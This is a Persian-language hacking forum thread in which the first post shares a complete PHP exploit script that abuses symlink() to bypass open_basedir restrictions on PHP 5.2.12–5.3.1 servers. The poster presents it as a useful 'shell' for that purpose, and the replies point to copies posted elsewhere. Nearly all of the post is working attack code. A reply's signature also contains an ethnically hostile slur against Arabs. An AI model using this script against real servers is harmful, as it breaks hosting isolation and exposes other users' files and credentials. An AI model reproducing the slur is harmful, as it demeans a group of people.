SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

-:- PHP 5.2.12 - 5.3.1 symlink() open_basedir bypass -:-

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • -:- PHP 5.2.12 - 5.3.1 symlink() open_basedir bypass -:-

    با سلام

    این هم یه شل خوب به زبان php که خوراک سیم لینک و بای پس open_basedir است.
    برای سرورهای که php آنها از ورژنهای 5.2.12 تا 5.3.1 است مناسب می باشد.
    [php]<?php
    /*
    PHP 5.2.12/5.3.1 symlink() open_basedir bypass
    */
     
    $fakedir="cx";
    $fakedep=16;
     
    $num=0; // offset of symlink.$num
     
    if(!empty($_GET['file'])) $file=$_GET['file'];
    else if(!empty($_POST['file'])) $file=$_POST['file'];
    else $file="";
     
    echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
    href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
    Author : Maksymilian Arciemowicz
    <p>Script for legal use only.
    <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
    <p>More: <a href="http://securityreason.com/">SecurityReason</a>
    <p><form name="form"
     action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';
     
    if(empty($file))
        exit;
     
    if(!is_writable("."))
        die("not writable directory");
     
    $level=0;
     
    for($as=0;$as<$fakedep;$as++){
        if(!file_exists($fakedir))
            mkdir($fakedir);
        chdir($fakedir);
    }
     
    while(1<$as--) chdir("..");
     
    $hardstyle = explode("/", $file);
     
    for($a=0;$a<count($hardstyle);$a++){
        if(!empty($hardstyle[$a])){
            if(!file_exists($hardstyle[$a]))
                mkdir($hardstyle[$a]);
            chdir($hardstyle[$a]);
            $as++;
        }
    }
    $as++;
    while($as--)
        chdir("..");
     
    @rmdir("fakesymlink");
    @unlink("fakesymlink");
     
    @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
     
    // this loop will skip allready created symlinks.
    while(1)
        if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
        else $num++;
     
    @unlink("fakesymlink");
    mkdir("fakesymlink");
     
    die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
     
    ?> 

    [/php]
    اللهمَّ العن اولَ ظالم ظلمَ حقَّ محمد و ال محمد و اخِرَ تابِع له علي ذالكَ اللهمَّ العنِ العصابةَ التي جاهدتِ الُحسين وَشايعتْ و بايِعتْ و تابِعتْ علي قِتله اللهمَّ العنهم جميعاً.

  • #2
    RE: -:- PHP 5.2.12 - 5.3.1 symlink() open_basedir bypass -:-

    ممنون دوست عزیز ولی این پست در سایت موجود است
    http://www.iranhack.com/acc/thread-388.html

    نظر


    • #3
      RE: -:- PHP 5.2.12 - 5.3.1 symlink() open_basedir bypass -:-

      قدیمی اما پر کاربرد

      http://www.exploit-db.com/exploits/10557

      اینکه دوباره ارسال شد خوبه ولی من دیروز اینجا هم اینو دیدم :

      http://iranhack.com/acc/thread-1278.html

      بازم ممنون
      کوروش خلیجتو خلیج عرب نامیدن ، ولی بازم عربو تو وطن راه میدن همون عربهای که هستن تشنه به خونمون همونا که دخترا رو کردن زنده به گورشون

      نظر

      صبر کنید ..
      X